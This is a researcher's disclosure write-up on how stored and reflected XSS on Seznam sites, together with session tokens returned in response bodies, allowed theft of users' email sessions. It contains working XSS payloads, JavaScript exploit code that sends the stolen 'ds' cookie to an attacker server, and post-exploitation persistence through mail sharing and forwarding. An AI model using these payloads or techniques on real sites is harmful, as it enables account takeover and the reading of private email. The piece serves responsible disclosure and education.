Another session stealing on How I gained unlimited access to someone else's email without knowing the password

17 July 2023

Three years ago, I found a security vulnerability on Seznam that made it possible to steal the session of the currently logged-in user (blog). History repeats itself, and in this writeup I'll describe how I found a new technique to steal a user's session from this year.

What was it this time? I was able to gain access to your email inbox. All you had to do was use Seznam's sites. Another variant of abuse could occur if you were logged in and opened any link that contained my script. No further interaction from the user (e.g. entering data) was required. 😈

In addition to the normal access, it was possible to get Persistent Email Access, which means unlimited access to the email box. The user could then change his password, change the phone number for 2FA, literally change the entire device, but the attacker still had access to the email. 💀

The whole text is also in the form of a video (CZ only):


About Seznam is the Czech number one on-line company. Founded in 1996, combines a media house and technological company. The homepage of ( is the gateway to the Internet for many Czechs, as more than 60% of on-line Czechs have installed as the homepage on their devices. (source)

Seznam, like four other companies in the world, was for a long time the number one search engine in its region. Other such search engines are Baidu (China), Naver (South Korea), Yahoo Japan (Japan) and Yandex (Russia).(source)

Seznam started with a search engine and an internet version of yellow pages. Today, Seznam runs almost 30 different web services and associated brands, for example: (Email), (Maps), (News), (Sport), (News), (tabloid), (real estate)

Statistics (October 2020):

Netmonitor (CZ stats)

Seznam Email is the most popular freemail service on the Czech internet. In total, it manages more than 33 million e-mail accounts, as of 10th November 2020, there were exactly 33,873,419 accounts and about 8 million of them were active.

Why is secure email so important?

We not only use email for everyday communication, but we also enter it in most web applications. And it's often our backup in case we forget our password - we can reset our account and password via email. An attacker who hacks into the mailbox then has the option:

  • Read all your mail
  • Send messages and spam under your identity
  • Use other provider services under your identity
  • Gain access to other accounts (such as Paypal, Dropbox, Coinbase, Facebook, etc.) by resetting your password via email unless there is an additional level of protection such as 2FA/MFA

An email account is a center point of web applications. If an attacker gets access to your email then he could have access to your other internet services. For this reason, I would not hesitate to say that email is the most important internet service. Due to the high-security risk, the email should be secured as possible.

How a Seznam session works

The user session on is provided by a cookie called "ds". This cookie is protected by the HttpOnly flag, so normal stealing of this value by cross-site scripting (XSS) is not possible.

This cookie could of course be stolen by malware on your computer. However, this would not be a mistake of Seznam, but of the user, and I do not focus on user faults.

IP address check

Session on Seznam works like many other companies - there is no IP address checking. The moment this value is stolen, an attacker can use the session at will and gain access to the victim's email inbox, even without knowing the password.

You may be wondering why it works this way. The reason is better usability for the user. In today's age of mobile devices, the average user uses many IP addresses - mobile data, home wifi, corporate wifi. In the case of IP address checking, the user would have to log in to their account several times a day, which would not be very user-friendly. There could be an option in the account settings that would perform IP address checking (list of allowed IP addresses), but realistically I can't think of any example of a company that offers this setting.

In the video below, you can see a user using multi-factor authentication (MFA) who is logged in on browser Google Chrome. His "ds cookie" could have been used on a different operating system (Linux), a different browser (Firefox), with a completely different IP address.

Session validity

Another feature of a session on is its long-term validity. Users who are logged in and do not log out manually are logged in for a very long time.

Other companies like Google, Facebook, Twitter and others have similar behaviour. It's quite common with these services. You can answer for yourself, when was the last time you logged into your Gmail or Instagram? I'm sure it's been a long time, and it's the same with Seznam.

There is also a danger in this. The moment an attacker steal someone else's session, he is able to use it for quite a long time. He uses it until either a manual logout by the user or an expiration on server side.

According to the documentation, the "ds cookie" on Seznam is supposed to be valid for a very long time (link). According to the data, this session should be valid for 2190 days, which is 6 years.

Session Hijacking

Session Hijacking is a type of attack in which the attacker obtains the victim's session and is able to use the victim's account without knowing the login credentials. The attacker is then able to perform all actions as the user. All changes, except when the current user password is required (setting a new password or other).

There are many ways to steal user sessions through web applications. Usually it is a combination of XSS vulnerability + unprotected session, for example:

  • Cookies (chybějící HttpOnly)
  • Local Storage / Session Storage
  • Javascript variable
  • phpinfo.php
  • ...
  • Login misconfiguration (Seznam 2020)
  • Session in the response body

Basic security problem

The basic problem was that on many sites of Seznam there was the ds cookie = user session value in the response body.

These were the following sites:


Most sites having this problem use the IMA.js javascript framework (, which is an open source project from Seznam. (IMA.js) (IMA.js){portal}/discussion/ (IMA.js)

The portal displayed the session in the response body of its API in base64 format.

My goal was to find an XSS vulnerability, and use this vulnerability to make a request to obtain a response containing the user's session.

For the sake of maintaining Same-Origin-Policy (SOP) I had the following scope:


My process (walkthrough writeup)

I tested all web applications for the vulnerability. For example, I tried But in this case it is a limited site with a small number of user inputs, so the chance of finding XSS was not very high.

I also tested quite often, but I couldn't find anything there.

I also tested, which I focused on a lot. After all, there are many user inputs and options there. I tried everything I could think of there: creating an offer, changing the seller's name, searching, filtering... and none of it.

A few weeks later I tried testing Sbazar again, but this time in a different browser and...


As happy as I was, I didn't understand. The alert was triggered when the XSS payload was inserted into the offer title, and I've certainly tried that a few times in the past.

How is it possible that it suddenly worked when it didn't before? Could it be a new bug? Or did I just test it wrong? 🤔

Nothing like that. The fact that I always tested Sbazar in the default browser, while the alert appeared in the browser with add-ons, was crucial. The difference was in the ad blocking add-on.

Yes, if an ad blocker (AdBlock, uBlock Origin...) was used in the browser, an alert was displayed.

Google Chrome (Chromium) with default settings:

Google Chrome (Chromium) with uBlock Origin:

Seznam has its own detection solution that prevents ad blocking. The moment it is detected that a blocking add-on is being used, a cookie is set qusnyQusny=1 and the ad is shown to users in a different way. (Note: In theory, no ad blocking add-on had to be used, but it was enough to set this cookie, for example, via XSS on the subdomain).

Browser with only the qusnyQusny=1 cookie set (the profile contains a stored XSS payload):

Description of qusnyQusny cookie:

Once this cookie is set, not only is the ad displayed differently, but also the stored values are interpreted differently and an XSS vulnerability occurs. In my case, the values Title of offer and seller name. By saving the XSS payload to these values, the script was executed → It was a Stored XSS.

Browser with AdBlock

The script was executed only when the offer detail was opened (even from a closed sale). If the script was stored in the offer title, which is also displayed in the categories or on the main page, the code was not interpreted.

In addition to the two unprotected entries, there was another "useful" security flaw in Sbazar.

This was the absence of the Content-Security-Policy (CSP) header. An attacker could only write the script tag <script src=//> and load the whole exploit from an external address.

Missing CSP Header

Profile that loads an external script and displays the ds cookie in an alert

Video with external script stored in the seller name:

An attacker could repeatedly create multiple offers with XSS in the user's name or in the title of the offer, thereby securing placement of the offers on the main page where the newly created offers are displayed. In these offers, he could have his script steal the user's session (request to → get response including session).

Nice vulnerability, isn't it? 😎

No, not really! This is disgusting. The limitation is horrible. The required ad blocker in the exploit? No, thank you.

Why wasn't I happy with it? 🤔

Because it has a very low success rate on a potential attack.

What percentage of users can use an ad blocker? If I'm being optimistic, let's say 20% on a computer. But ad blockers are not used on mobile. If I take a 50:50 ratio of PC/mobile usage, it works out that about 10% of all users may use AdBlock or some other alternative.

This means that the exploit would have a 10% success rate for logged in users.

If I reverse it, my exploit won't work 90% of the time!

I was definitely not happy with that and decided not to report it to Seznam yet and try to find something better.

For a timeline, I found this bug around the beginning of November 2022, and I gave myself a deadline of the end of 2022. If Seznam had fixed it by then, I wouldn't have worried too much. I would not be happy with this bug.

And on December 29th, I discovered something...

I found a page containing an address in the clickthru parameter that was reflected in the URL in the ad.…..

My first thought was, what if I put in javascript:alert(1)? Will it work? 🤔

I put it in the parameter, loaded the page, clicked on the link and...

...and it worked. 🙂

So I found Reflected XSS requiring interaction - clicking on a link.

I have now tried changing the XSS payload to "><script>alert(1)</script>

First, I checked to make sure everything was reflecting correctly...

...and yes.
I tried loading the page... 🙏

And there was an alert, but this time without clicking on the link.

So I found Reflected XSS, which will be useful for an exploit to steal a session.

Since there were several links in the ad, the code would execute repeatedly. So I used the HTML comment tag at the end of the expression "><script>alert(1)</script><!-- , to comment out all codes after the script tag.

I then removed all unnecessary parameters from the URL, and the address looked like this:"><script>alert(1)</script><!--

The last important thing is the Content Security Policy header. And this header was missing again, so I could load an external script.

Final URL:"><script src=//></script><!--

The exploit itself looked like this:

document.getElementsByClassName("main")[0].style.display = "none";

var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            var response = this.responseText;
            var session = response.match(/(?<=ds=).{72}/)[0];
            var i=new Image();
	};"GET", "", true);
xhttp.withCredentials = true;


  1. First, the frame around the banner that was displayed was hidden (link)
  2. GET request to including cookies (withCredentials=true)
  3. If the answer was 200, then the entire response was stolen
  4. From the response only the session was obtained
  5. Everything was then sent to the attacker's server

Everything worked properly, except for one thing. The exploit functionality for the logged in user was "only" 75%.

The problem was the automatic login and the functionality of some browsers. The user could be logged in to his e-mail (, but when he opened the page he did not have to be logged in.

Since I wanted to take advantage of a bug where the session is in the response, I needed the user to always be logged in to as well.

Automatic login occurs with browsers that do not block "third-party cookies". Browsers that do not yet block these cookies are Chrome, Edge and Opera. According to statistics, approximately 75% of users in the Czech Republic use these browsers.

Users using other browsers (Safari, Firefox, Brave, Incognito Chrome) are not automatically logged in to

If they want to log in and enjoy the benefits of the account, they must click on "Login" in the upper right corner and select the logged-in user. Only after this click will the user be automatically logged in to

In the video below, you'll see the behaviour in Google Chrome, Google Chrome Incognito and Brave. Furthermore, the use of the link for automatic login to (described in the following paragraphs).

The additional login of a user who is already logged in to their Seznam account (Google Chrome Incognito) looks like this:

The user is not automatically logged in, they must click on "Login" on the right

Pop-up window with selection of the currently logged in user

After selection, the user is logged in to (no password required)

I started to figure out how to automatically log the remaining users into Sauto to increase the exploit success rate to 100%.

So I've been researching how the click login works...

Communication during user selection

When a user is selected, the following link is sent:

The first flaw was that you only had to open the URL and you would be automatically logged in. It was therefore possible to redirect a non-logged-in user to this URL and log them in, but I still wouldn't gain anything by doing so and had to figure out what to do next.

Another bug with this request was that it was possible to change the return_url in the last parameter, which could affect the final redirect.…

But there was a small problem. If I put the whole URL with XSS in URL encoding format into this parameter, the whole URL was not reflected into the response.

It was reflected only in the first parameter, i.e. perPage=1.

When that didn't work, I thought of something else. If it didn't work once, it will work a second time → Double encoding.

Tip: For double encoding I recommend using the Hackvertor add-on in Burp Suite. The regular decoder in Burp encodes all characters and the resulting address is unnecessarily long. By using Hackvertor, only special characters are encoded.

bannerova-reklama?perPage=1&banner=1&clickthru="><script src=//></script><!--

Double encoding was not only corrected in the response, but there was also a functional redirection.

By using the request{double-encoding-url} I could automatically login to Sauto and redirect the user back to a page containing XSS ( and steal the session.

I have solved in this way users who, although logged in to their email, were not automatically logged in to (users using browsers that block cookies), and I've increased the exploit's functionality from 75% to 100%.

At the same time, all completely unauthenticated users were shown a login form, after filling which they were redirected to, a URL containing the attacker's script (session stealing).

The exploit was therefore functional not only for all logged in users (automatic session theft), but also for completely unlogged → after filling in the details and logging in, the session was stolen. The full exploit is described in the Exploit.

I was already happy with this vulnerability and started to write a report to send to Seznam. In the final report, however, I did not describe just one bug, or even two, but three security vulnerabilities with significant impact. 😈

Yes, I found another security vulnerability, that I discovered while writing the report.

The last vulnerability could be called 0-click Session Hijacking and I would rate its severity as Critical.

Because this was a more significant bug than the previous ones, we agreed with Seznam not to publish the details of this finding.

Summary of vulnerabilities found

1) Stored XSS (AdBlock) + Session in the response body


Improperly handled user inputs "Title of offer" and "Seller Name" which could be abused for Stored XSS. To execute the saved script, the user had to use an ad blocker (AdBlock, uBlock Origin...).


An attacker could repeatedly create multiple offers with XSS in the user's name (the preferred method) or in the title of the offer, thereby securing placement of the offers on the main page where the newly created offers are displayed. In these offers, he could have his script steal the user's session (request to → get response including session).

A logged-in user who had an ad blocker and opened the offer from the main page would have his session stolen and the attacker would gain access to his email.


  • Stored XSS
  • The new offer is on the main page
    → each offer on the main page contains a malicious script
  • Missing CSP header

  • The user is logged in for a long time
  • Stolen session has a long validity (6 years)
  • Access to email


  • The user must somehow navigate to the offer
    → redirect from another site, open the offer via Sbazar
  • Required ad blocker
  • Cookie set qusnyQusny
    → two visits to the page required: the first to set the cookie, the second to execute the script

Severity: HIGH

Normally I would consider a rating more towards critical or at least high-critical, but the limitation on the ad blocker used in the browser (it is not the default setting) makes it HIGH for me.

It must be perceived that a successful exploit will gain access to the victim's e-mail box. In the evaluation I also include the post exploitation phase, which is very useful for the attacker and therefore very risky for the victim. I explain more in the section Post Exploitation.

2) Reflected XSS + Session in the response body

Description contained a vulnerable clickthru parameter on the /bannerova-reklama page, into which a custom script could be injected.


For every logged-in user who got to the /bannerova-reklama link with XSS by any means (e.g. redirection), the session was stolen. The entire attack took place without any further interaction from the victim.

Users who were not logged in to email with Seznam at all were presented with a login form. After entering their credentials, they were redirected to the return_url, an XSS page, and the session was stolen again.

So all users were at risk, but especially those logged in. The vulnerable site worked without limitations in all browsers and on all types of devices (phone, tablet, computer, etc.).

There were many ways to silently redirect users to /bannerova-reklama with XSS. It just depended on the experience and preference of the attacker. I can think of several examples:

  • Link in email message
  • URL shorteners (…)
  • Paid advertising on IG/FB (Stories with link)
  • Exploiting a vulnerability on another site (XSS, Open Redirect)
One of the methods is shown in the video in Video of the attack section.


  • 100% of logged in users (all devices, all browsers)
  • Non-logged-in users are asked to log in
  • Missing CSP header

  • The user is logged in for a long time
  • Stolen session has a long validity (6 years)
  • Access to email


  • User must somehow get to the URL


Because it was possible to gain access to someone else's email by simply opening the link, where it was possible to have the password reset for another service in use, I see the rating as closer to CRITICAL.

3) 0-click Session Hijacking





Severity: CRITICAL

Exploit (

Summary of findings before writing the exploit

  1. Session in the response body
  2. Reflected XSS -…
  3. Missing CSP header
  4. Automatic user login via URL (browsers that block third-party cookies)
  5. Any Seznam URL in the return_url parameter for the final redirect
  6. "Bypass" forbidden characters using double encoding in return_url
    → inserting /bannerova-reklama?perPage=1&banner=1&clickthru="><script src=//></script><!--

Session Hijacking Exploit

The final URL with Reflected XSS looked like this:"><script src=//></script><!--

document.getElementsByClassName("main")[0].style.display = "none";

var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
     } else if (this.readyState == 4 && this.status == 401) {
};"GET", "", true);
xhttp.withCredentials = true;

function getCookiesFromResponse() {
    var xhttp2 = new XMLHttpRequest();
    xhttp2.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            var response = this.responseText;
            var session = response.match(/(?<=ds=).{72}/)[0];
            var i=new Image();
	};"GET", "", true);
    xhttp2.withCredentials = true;


  1. Firstly, the frame around the entire banner was hidden (link)
  2. Making a GET request to including cookies(withCredentials=true)
    → check of the logged-in user
  3. If the response code was 200 (logged in), the getCookiesFromResponse() function was executed
    → making GET request to
    → obtaining response including cookies
    → obtaining only session from cookies
    → sending session to attacker's server
  4. If the response code was 401 (not logged in)
    → the user was redirected to
    → if the user was logged in to the Seznam account, the user was automatically logged in (without interaction) and redirected back to with XSS (step 1)
  5. If the response code was 401 (not logged in)
    → the user was redirected to
    → if the user wasn't logged in to the Seznam account
    → login form was displayed
    →after entering his credentials he was redirected to with XSS (step 1)

Example of exploit in Brave browser:


  1. The user opened a (trusted) link that redirected them to…
  2. There the code was executed: getting the response containing the session, sending the session to the attacker
  3. The victim was redirected to a targeted site

Exploit time: ~ 1 sec (logged user to email)

Post Exploitation

Every "hacker" does not seek only one-time access to email, but ideally unlimited access. That's exactly how I think of it. The Post Exploitation phase is also why the vulnerabilities are highly rated by me.

Several actions could be performed as an attacker after the session:

Persistent Email Access

Once the attacker had access to the victim's session, he was able to set up "persistent access" to the victim's account in addition to normal email usage.

This can be done via Settings → Mail Sharing ( An attacker could save their Seznam email account here, and then be able to log into someone else's mailbox, even after the session expired or password changed.

The problem is that it doesn't require an actual password, so an attacker could easily set up his email here. Another complication is that the victim does not receive any notification of the change of this setting.

Email auto-forwarding

Another way the "hacker" was able to secure access to new emails after the session expired was through a ruleset ( Again, the attacker was able to save his email without verifying the victim's password.

For example, the When every message; send a copy "[email protected]" rule sets up a copy of all new incoming emails from the victim to be forwarded to the victim. (Note: These emails are not visible in the Sent.)

Video of the attack

The video shows an example where a user with a [email protected] account has set up two-factor authentication to their email and only clicks on a Facebook post that leads to a music video posted on

As a result of the click, the attacker ([email protected]) gained unrestricted access to the foreign user's email. The user logged out, thus disabling his session, but the attacker could still access his account.

The entire attack was carried out without any notification to the user. Therefore, the victim cannot know that someone else has access to the email at the moment.

Do you use Seznam? Check your settings

Due to the severity of the vulnerabilities, Seznam deleted all active sessions for all users in January of that year. While this prevented the stolen session from being used, it did not solve the Post Exploitation part I described.

From my position I would recommend Seznam users to check these sections:

Email Sharing (

  • Check the "Email Sharing" section and remove linked emails that should not be there. If the attacker has added his email to the "Email Sharing", he still has access to your mailbox, even after deleting all sessions.

Rules (

  • With the rules, the attacker would not have direct access to your mailbox, but in the worst case, all your incoming mail → emails containing forgotten or newly generated passwords would be forwarded to him in a copy. Alternatively, you could set a rule that a forgotten password from another service would be forwarded directly to another email (without saving it in your inbox).


Each of the vulnerabilities mentioned above could be used to steal a user session and thus gain access to the email inbox of a victim user. In addition to gaining normal access, it was possible to gain Persistent Email Access, i.e. unlimited access to the email inbox. The user could change his password, change the phone number for 2FA, change literally the entire device, but the attacker still had access to the email.

Vulnerabilities were not defensible by the user. Everything was done in the background and there was no way to stop the attack. One second and the attacker gained unlimited access to someone else's email.

Vulnerability affected all users (except AdBlock vulnerability). A very strong password or two-factor authentication set did not affect for the exploit. The session could be used by an attacker to log into the services Seznam Email, Email Profi, Seznam Médium,,, The session could not be used for Sklik and Seznam Peněženka

I would like to note that it was not easy to find all the vulnerabilities on the Seznam portal. With other web applications I usually find a major security flaw in just a few hours, but with Seznam it was different. I spent quite a bit of my free time doing this in 2022, and if I were to somehow add it up, it could have been an estimated 20 MD./p>


18.1.2023 13:34 Report sent
18.1.2023 16:32 Report accepted
19.1.2023 10:38 Critical vulnerabilities fixed
20.1.2023 09:52 Fixed remaining vulnerabilities

After the fix, there was personal thanks, an offer of cooperation and a reward of 35,000 CZK (1500 EUR).

Table of all my reported vulnerabilities

  1. 06/2020 Session Hijacking
    XSS/Sweb + CORS + “Ticket” URL Misconfiguration
  2. 01/2023 Session Hijacking
    Stored XSS (AdBlock) + session in the response body
  3. 01/2023 Session Hijacking
    Reflected XSS + session in the response body
  4. 01/2023 Session Hijacking (0-click)
All vulnerabilities had an impact Persistent Email Access (Unlimited access to account with Mail Sharing) and Auto-Forwarding (automatic forwarding of the received mail in a copy to the attacker's e-mail).

Finding the first vulnerability could have been a lucky accident and I wanted to confirm it. Finding the other three wasn't the intention... but the confirmation of the experience it was. 🙃